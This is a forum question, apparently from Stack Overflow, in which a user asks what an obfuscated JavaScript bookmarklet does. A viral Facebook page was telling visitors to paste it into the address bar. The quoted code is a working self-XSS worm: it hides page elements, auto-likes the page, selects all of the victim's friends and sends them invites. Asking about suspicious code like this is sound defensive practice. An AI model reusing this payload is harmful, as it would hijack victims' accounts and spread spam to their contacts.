title: What exactly does this piece of JavaScript do?
body: <p>I saw this page growing in popularity among my social circles on Facebook, <a href="http://www.facebook.com/wylanan?ref=search&amp;sid=678545710.3719697140..1#!/pages/What-98-of-people-never-knew-about-disney-movies/112015555504495" rel="nofollow noreferrer">what 98 percent bla bla...</a> and it walks users through copying the below JavaScript (I added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript.</p>
  
  <p>Simply put, what does this do?</p>
  
  <pre><code>javascript:(function(){
  a='app120668947950042_jop';
  b='app120668947950042_jode';
  ifc='app120668947950042_ifc';
  ifo='app120668947950042_ifo';
  mw='app120668947950042_mwrapper';
  eval(function(p,a,c,k,e,r){
      e=function(c){
          return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))}
      ;
      if(!''.replace(/^/,String)){
          while(c--)r[e(c)]=k[c]||e(c);
          k=[function(e){
              return r[e]}
          ];
          e=function(){
              return'\\w+'}
          ;
          c=1}
      ;
      while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
      return p}
  ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];
          d=U;
          d[e[2]](V)[e[1]][e[0]]=e[3];
          d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
          s=d[e[2]](e[6]);
          m=d[e[2]](e[7]);
          c=d[e[9]](e[8]);
          c[e[11]](e[10],I,I);
          s[e[12]](c);
          C(D(){
              W[e[13]]()}
          ,E);
          C(D(){
              X[e[16]](e[14],e[15])}
          ,E);
          C(D(){
              m[e[12]](c);
              d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]}
          ,E);
          ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{
  }
  ))})();
  </code></pre>